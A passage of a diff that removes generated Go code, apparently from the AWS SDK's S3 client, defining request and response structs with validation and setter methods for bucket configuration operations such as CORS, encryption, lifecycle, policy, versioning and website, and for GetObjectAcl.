*GetBucketAnalyticsConfigurationInput) SetId(v string) *GetBucketAnalyticsConfigurationInput { - s.Id = &v - return s -} - -type GetBucketAnalyticsConfigurationOutput struct { - _ struct{} `type:"structure" payload:"AnalyticsConfiguration"` - - // The configuration and any analyses for the analytics filter. - AnalyticsConfiguration *AnalyticsConfiguration `type:"structure"` -} - -// String returns the string representation -func (s GetBucketAnalyticsConfigurationOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketAnalyticsConfigurationOutput) GoString() string { - return s.String() -} - -// SetAnalyticsConfiguration sets the AnalyticsConfiguration field's value. -func (s *GetBucketAnalyticsConfigurationOutput) SetAnalyticsConfiguration(v *AnalyticsConfiguration) *GetBucketAnalyticsConfigurationOutput { - s.AnalyticsConfiguration = v - return s -} - -type GetBucketCorsInput struct { - _ struct{} `type:"structure"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` -} - -// String returns the string representation -func (s GetBucketCorsInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketCorsInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *GetBucketCorsInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "GetBucketCorsInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *GetBucketCorsInput) SetBucket(v string) *GetBucketCorsInput { - s.Bucket = &v - return s -} - -func (s *GetBucketCorsInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -type GetBucketCorsOutput struct { - _ struct{} `type:"structure"` - - CORSRules []*CORSRule `locationName:"CORSRule" type:"list" flattened:"true"` -} - -// String returns the string representation -func (s GetBucketCorsOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketCorsOutput) GoString() string { - return s.String() -} - -// SetCORSRules sets the CORSRules field's value. -func (s *GetBucketCorsOutput) SetCORSRules(v []*CORSRule) *GetBucketCorsOutput { - s.CORSRules = v - return s -} - -type GetBucketEncryptionInput struct { - _ struct{} `type:"structure"` - - // The name of the bucket from which the server-side encryption configuration - // is retrieved. - // - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` -} - -// String returns the string representation -func (s GetBucketEncryptionInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketEncryptionInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *GetBucketEncryptionInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "GetBucketEncryptionInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *GetBucketEncryptionInput) SetBucket(v string) *GetBucketEncryptionInput { - s.Bucket = &v - return s -} - -func (s *GetBucketEncryptionInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -type GetBucketEncryptionOutput struct { - _ struct{} `type:"structure" payload:"ServerSideEncryptionConfiguration"` - - // Container for server-side encryption configuration rules. Currently S3 supports - // one rule only. - ServerSideEncryptionConfiguration *ServerSideEncryptionConfiguration `type:"structure"` -} - -// String returns the string representation -func (s GetBucketEncryptionOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketEncryptionOutput) GoString() string { - return s.String() -} - -// SetServerSideEncryptionConfiguration sets the ServerSideEncryptionConfiguration field's value. -func (s *GetBucketEncryptionOutput) SetServerSideEncryptionConfiguration(v *ServerSideEncryptionConfiguration) *GetBucketEncryptionOutput { - s.ServerSideEncryptionConfiguration = v - return s -} - -type GetBucketInventoryConfigurationInput struct { - _ struct{} `type:"structure"` - - // The name of the bucket containing the inventory configuration to retrieve. - // - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // The ID used to identify the inventory configuration. - // - // Id is a required field - Id *string `location:"querystring" locationName:"id" type:"string" required:"true"` -} - -// String returns the string representation -func (s GetBucketInventoryConfigurationInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketInventoryConfigurationInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *GetBucketInventoryConfigurationInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "GetBucketInventoryConfigurationInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.Id == nil { - invalidParams.Add(request.NewErrParamRequired("Id")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *GetBucketInventoryConfigurationInput) SetBucket(v string) *GetBucketInventoryConfigurationInput { - s.Bucket = &v - return s -} - -func (s *GetBucketInventoryConfigurationInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetId sets the Id field's value. -func (s *GetBucketInventoryConfigurationInput) SetId(v string) *GetBucketInventoryConfigurationInput { - s.Id = &v - return s -} - -type GetBucketInventoryConfigurationOutput struct { - _ struct{} `type:"structure" payload:"InventoryConfiguration"` - - // Specifies the inventory configuration. - InventoryConfiguration *InventoryConfiguration `type:"structure"` -} - -// String returns the string representation -func (s GetBucketInventoryConfigurationOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketInventoryConfigurationOutput) GoString() string { - return s.String() -} - -// SetInventoryConfiguration sets the InventoryConfiguration field's value. -func (s *GetBucketInventoryConfigurationOutput) SetInventoryConfiguration(v *InventoryConfiguration) *GetBucketInventoryConfigurationOutput { - s.InventoryConfiguration = v - return s -} - -type GetBucketLifecycleConfigurationInput struct { - _ struct{} `type:"structure"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` -} - -// String returns the string representation -func (s GetBucketLifecycleConfigurationInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketLifecycleConfigurationInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *GetBucketLifecycleConfigurationInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "GetBucketLifecycleConfigurationInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *GetBucketLifecycleConfigurationInput) SetBucket(v string) *GetBucketLifecycleConfigurationInput { - s.Bucket = &v - return s -} - -func (s *GetBucketLifecycleConfigurationInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -type GetBucketLifecycleConfigurationOutput struct { - _ struct{} `type:"structure"` - - Rules []*LifecycleRule `locationName:"Rule" type:"list" flattened:"true"` -} - -// String returns the string representation -func (s GetBucketLifecycleConfigurationOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketLifecycleConfigurationOutput) GoString() string { - return s.String() -} - -// SetRules sets the Rules field's value. -func (s *GetBucketLifecycleConfigurationOutput) SetRules(v []*LifecycleRule) *GetBucketLifecycleConfigurationOutput { - s.Rules = v - return s -} - -type GetBucketLifecycleInput struct { - _ struct{} `type:"structure"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` -} - -// String returns the string representation -func (s GetBucketLifecycleInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketLifecycleInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *GetBucketLifecycleInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "GetBucketLifecycleInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *GetBucketLifecycleInput) SetBucket(v string) *GetBucketLifecycleInput { - s.Bucket = &v - return s -} - -func (s *GetBucketLifecycleInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -type GetBucketLifecycleOutput struct { - _ struct{} `type:"structure"` - - Rules []*Rule `locationName:"Rule" type:"list" flattened:"true"` -} - -// String returns the string representation -func (s GetBucketLifecycleOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketLifecycleOutput) GoString() string { - return s.String() -} - -// SetRules sets the Rules field's value. -func (s *GetBucketLifecycleOutput) SetRules(v []*Rule) *GetBucketLifecycleOutput { - s.Rules = v - return s -} - -type GetBucketLocationInput struct { - _ struct{} `type:"structure"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` -} - -// String returns the string representation -func (s GetBucketLocationInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketLocationInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *GetBucketLocationInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "GetBucketLocationInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *GetBucketLocationInput) SetBucket(v string) *GetBucketLocationInput { - s.Bucket = &v - return s -} - -func (s *GetBucketLocationInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -type GetBucketLocationOutput struct { - _ struct{} `type:"structure"` - - LocationConstraint *string `type:"string" enum:"BucketLocationConstraint"` -} - -// String returns the string representation -func (s GetBucketLocationOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketLocationOutput) GoString() string { - return s.String() -} - -// SetLocationConstraint sets the LocationConstraint field's value. -func (s *GetBucketLocationOutput) SetLocationConstraint(v string) *GetBucketLocationOutput { - s.LocationConstraint = &v - return s -} - -type GetBucketLoggingInput struct { - _ struct{} `type:"structure"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` -} - -// String returns the string representation -func (s GetBucketLoggingInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketLoggingInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *GetBucketLoggingInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "GetBucketLoggingInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *GetBucketLoggingInput) SetBucket(v string) *GetBucketLoggingInput { - s.Bucket = &v - return s -} - -func (s *GetBucketLoggingInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -type GetBucketLoggingOutput struct { - _ struct{} `type:"structure"` - - // Container for logging information. Presence of this element indicates that - // logging is enabled. Parameters TargetBucket and TargetPrefix are required - // in this case. - LoggingEnabled *LoggingEnabled `type:"structure"` -} - -// String returns the string representation -func (s GetBucketLoggingOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketLoggingOutput) GoString() string { - return s.String() -} - -// SetLoggingEnabled sets the LoggingEnabled field's value. -func (s *GetBucketLoggingOutput) SetLoggingEnabled(v *LoggingEnabled) *GetBucketLoggingOutput { - s.LoggingEnabled = v - return s -} - -type GetBucketMetricsConfigurationInput struct { - _ struct{} `type:"structure"` - - // The name of the bucket containing the metrics configuration to retrieve. - // - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // The ID used to identify the metrics configuration. - // - // Id is a required field - Id *string `location:"querystring" locationName:"id" type:"string" required:"true"` -} - -// String returns the string representation -func (s GetBucketMetricsConfigurationInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketMetricsConfigurationInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *GetBucketMetricsConfigurationInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "GetBucketMetricsConfigurationInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.Id == nil { - invalidParams.Add(request.NewErrParamRequired("Id")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *GetBucketMetricsConfigurationInput) SetBucket(v string) *GetBucketMetricsConfigurationInput { - s.Bucket = &v - return s -} - -func (s *GetBucketMetricsConfigurationInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetId sets the Id field's value. -func (s *GetBucketMetricsConfigurationInput) SetId(v string) *GetBucketMetricsConfigurationInput { - s.Id = &v - return s -} - -type GetBucketMetricsConfigurationOutput struct { - _ struct{} `type:"structure" payload:"MetricsConfiguration"` - - // Specifies the metrics configuration. - MetricsConfiguration *MetricsConfiguration `type:"structure"` -} - -// String returns the string representation -func (s GetBucketMetricsConfigurationOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketMetricsConfigurationOutput) GoString() string { - return s.String() -} - -// SetMetricsConfiguration sets the MetricsConfiguration field's value. -func (s *GetBucketMetricsConfigurationOutput) SetMetricsConfiguration(v *MetricsConfiguration) *GetBucketMetricsConfigurationOutput { - s.MetricsConfiguration = v - return s -} - -type GetBucketNotificationConfigurationRequest struct { - _ struct{} `type:"structure"` - - // Name of the bucket to get the notification configuration for. - // - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` -} - -// String returns the string representation -func (s GetBucketNotificationConfigurationRequest) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketNotificationConfigurationRequest) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *GetBucketNotificationConfigurationRequest) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "GetBucketNotificationConfigurationRequest"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *GetBucketNotificationConfigurationRequest) SetBucket(v string) *GetBucketNotificationConfigurationRequest { - s.Bucket = &v - return s -} - -func (s *GetBucketNotificationConfigurationRequest) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -type GetBucketPolicyInput struct { - _ struct{} `type:"structure"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` -} - -// String returns the string representation -func (s GetBucketPolicyInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketPolicyInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *GetBucketPolicyInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "GetBucketPolicyInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *GetBucketPolicyInput) SetBucket(v string) *GetBucketPolicyInput { - s.Bucket = &v - return s -} - -func (s *GetBucketPolicyInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -type GetBucketPolicyOutput struct { - _ struct{} `type:"structure" payload:"Policy"` - - // The bucket policy as a JSON document. - Policy *string `type:"string"` -} - -// String returns the string representation -func (s GetBucketPolicyOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketPolicyOutput) GoString() string { - return s.String() -} - -// SetPolicy sets the Policy field's value. -func (s *GetBucketPolicyOutput) SetPolicy(v string) *GetBucketPolicyOutput { - s.Policy = &v - return s -} - -type GetBucketPolicyStatusInput struct { - _ struct{} `type:"structure"` - - // The name of the Amazon S3 bucket whose policy status you want to retrieve. - // - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` -} - -// String returns the string representation -func (s GetBucketPolicyStatusInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketPolicyStatusInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *GetBucketPolicyStatusInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "GetBucketPolicyStatusInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *GetBucketPolicyStatusInput) SetBucket(v string) *GetBucketPolicyStatusInput { - s.Bucket = &v - return s -} - -func (s *GetBucketPolicyStatusInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -type GetBucketPolicyStatusOutput struct { - _ struct{} `type:"structure" payload:"PolicyStatus"` - - // The policy status for the specified bucket. - PolicyStatus *PolicyStatus `type:"structure"` -} - -// String returns the string representation -func (s GetBucketPolicyStatusOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketPolicyStatusOutput) GoString() string { - return s.String() -} - -// SetPolicyStatus sets the PolicyStatus field's value. -func (s *GetBucketPolicyStatusOutput) SetPolicyStatus(v *PolicyStatus) *GetBucketPolicyStatusOutput { - s.PolicyStatus = v - return s -} - -type GetBucketReplicationInput struct { - _ struct{} `type:"structure"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` -} - -// String returns the string representation -func (s GetBucketReplicationInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketReplicationInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *GetBucketReplicationInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "GetBucketReplicationInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *GetBucketReplicationInput) SetBucket(v string) *GetBucketReplicationInput { - s.Bucket = &v - return s -} - -func (s *GetBucketReplicationInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -type GetBucketReplicationOutput struct { - _ struct{} `type:"structure" payload:"ReplicationConfiguration"` - - // A container for replication rules. You can add up to 1,000 rules. The maximum - // size of a replication configuration is 2 MB. - ReplicationConfiguration *ReplicationConfiguration `type:"structure"` -} - -// String returns the string representation -func (s GetBucketReplicationOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketReplicationOutput) GoString() string { - return s.String() -} - -// SetReplicationConfiguration sets the ReplicationConfiguration field's value. -func (s *GetBucketReplicationOutput) SetReplicationConfiguration(v *ReplicationConfiguration) *GetBucketReplicationOutput { - s.ReplicationConfiguration = v - return s -} - -type GetBucketRequestPaymentInput struct { - _ struct{} `type:"structure"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` -} - -// String returns the string representation -func (s GetBucketRequestPaymentInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketRequestPaymentInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *GetBucketRequestPaymentInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "GetBucketRequestPaymentInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *GetBucketRequestPaymentInput) SetBucket(v string) *GetBucketRequestPaymentInput { - s.Bucket = &v - return s -} - -func (s *GetBucketRequestPaymentInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -type GetBucketRequestPaymentOutput struct { - _ struct{} `type:"structure"` - - // Specifies who pays for the download and request fees. - Payer *string `type:"string" enum:"Payer"` -} - -// String returns the string representation -func (s GetBucketRequestPaymentOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketRequestPaymentOutput) GoString() string { - return s.String() -} - -// SetPayer sets the Payer field's value. -func (s *GetBucketRequestPaymentOutput) SetPayer(v string) *GetBucketRequestPaymentOutput { - s.Payer = &v - return s -} - -type GetBucketTaggingInput struct { - _ struct{} `type:"structure"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` -} - -// String returns the string representation -func (s GetBucketTaggingInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketTaggingInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *GetBucketTaggingInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "GetBucketTaggingInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *GetBucketTaggingInput) SetBucket(v string) *GetBucketTaggingInput { - s.Bucket = &v - return s -} - -func (s *GetBucketTaggingInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -type GetBucketTaggingOutput struct { - _ struct{} `type:"structure"` - - // TagSet is a required field - TagSet []*Tag `locationNameList:"Tag" type:"list" required:"true"` -} - -// String returns the string representation -func (s GetBucketTaggingOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketTaggingOutput) GoString() string { - return s.String() -} - -// SetTagSet sets the TagSet field's value. -func (s *GetBucketTaggingOutput) SetTagSet(v []*Tag) *GetBucketTaggingOutput { - s.TagSet = v - return s -} - -type GetBucketVersioningInput struct { - _ struct{} `type:"structure"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` -} - -// String returns the string representation -func (s GetBucketVersioningInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketVersioningInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *GetBucketVersioningInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "GetBucketVersioningInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *GetBucketVersioningInput) SetBucket(v string) *GetBucketVersioningInput { - s.Bucket = &v - return s -} - -func (s *GetBucketVersioningInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -type GetBucketVersioningOutput struct { - _ struct{} `type:"structure"` - - // Specifies whether MFA delete is enabled in the bucket versioning configuration. - // This element is only returned if the bucket has been configured with MFA - // delete. If the bucket has never been so configured, this element is not returned. - MFADelete *string `locationName:"MfaDelete" type:"string" enum:"MFADeleteStatus"` - - // The versioning state of the bucket. - Status *string `type:"string" enum:"BucketVersioningStatus"` -} - -// String returns the string representation -func (s GetBucketVersioningOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketVersioningOutput) GoString() string { - return s.String() -} - -// SetMFADelete sets the MFADelete field's value. -func (s *GetBucketVersioningOutput) SetMFADelete(v string) *GetBucketVersioningOutput { - s.MFADelete = &v - return s -} - -// SetStatus sets the Status field's value. -func (s *GetBucketVersioningOutput) SetStatus(v string) *GetBucketVersioningOutput { - s.Status = &v - return s -} - -type GetBucketWebsiteInput struct { - _ struct{} `type:"structure"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` -} - -// String returns the string representation -func (s GetBucketWebsiteInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketWebsiteInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *GetBucketWebsiteInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "GetBucketWebsiteInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *GetBucketWebsiteInput) SetBucket(v string) *GetBucketWebsiteInput { - s.Bucket = &v - return s -} - -func (s *GetBucketWebsiteInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -type GetBucketWebsiteOutput struct { - _ struct{} `type:"structure"` - - ErrorDocument *ErrorDocument `type:"structure"` - - IndexDocument *IndexDocument `type:"structure"` - - RedirectAllRequestsTo *RedirectAllRequestsTo `type:"structure"` - - RoutingRules []*RoutingRule `locationNameList:"RoutingRule" type:"list"` -} - -// String returns the string representation -func (s GetBucketWebsiteOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketWebsiteOutput) GoString() string { - return s.String() -} - -// SetErrorDocument sets the ErrorDocument field's value. -func (s *GetBucketWebsiteOutput) SetErrorDocument(v *ErrorDocument) *GetBucketWebsiteOutput { - s.ErrorDocument = v - return s -} - -// SetIndexDocument sets the IndexDocument field's value. -func (s *GetBucketWebsiteOutput) SetIndexDocument(v *IndexDocument) *GetBucketWebsiteOutput { - s.IndexDocument = v - return s -} - -// SetRedirectAllRequestsTo sets the RedirectAllRequestsTo field's value. -func (s *GetBucketWebsiteOutput) SetRedirectAllRequestsTo(v *RedirectAllRequestsTo) *GetBucketWebsiteOutput { - s.RedirectAllRequestsTo = v - return s -} - -// SetRoutingRules sets the RoutingRules field's value. -func (s *GetBucketWebsiteOutput) SetRoutingRules(v []*RoutingRule) *GetBucketWebsiteOutput { - s.RoutingRules = v - return s -} - -type GetObjectAclInput struct { - _ struct{} `type:"structure"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // Key is a required field - Key *string `location:"uri" locationName:"Key" min:"1" type:"string" required:"true"` - - // Confirms that the requester knows that she or he will be charged for the - // request. Bucket owners need not specify this parameter in their requests. - // Documentation on downloading objects from requester pays buckets can be found - // at http://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html - RequestPayer *string `location:"header" locationName:"x-amz-request-payer" type:"string" enum:"RequestPayer"` - - // VersionId used to reference a specific version of the object. - VersionId *string `location:"querystring" locationName:"versionId" type:"string"` -} - -// String returns the string representation -func (s GetObjectAclInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetObjectAclInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *GetObjectAclInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "GetObjectAclInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.Key == nil { - invalidParams.Add(request.NewErrParamRequired("Key")) - } - if s.Key != nil && len(*s.Key) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Key", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *GetObjectAclInput) SetBucket(v string) *GetObjectAclInput { - s.Bucket = &v - return s -} - -func (s *GetObjectAclInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetKey sets the Key field's value. -func (s *GetObjectAclInput) SetKey(v string) *GetObjectAclInput { - s.Key = &v - return s -} - -// SetRequestPayer sets the RequestPayer 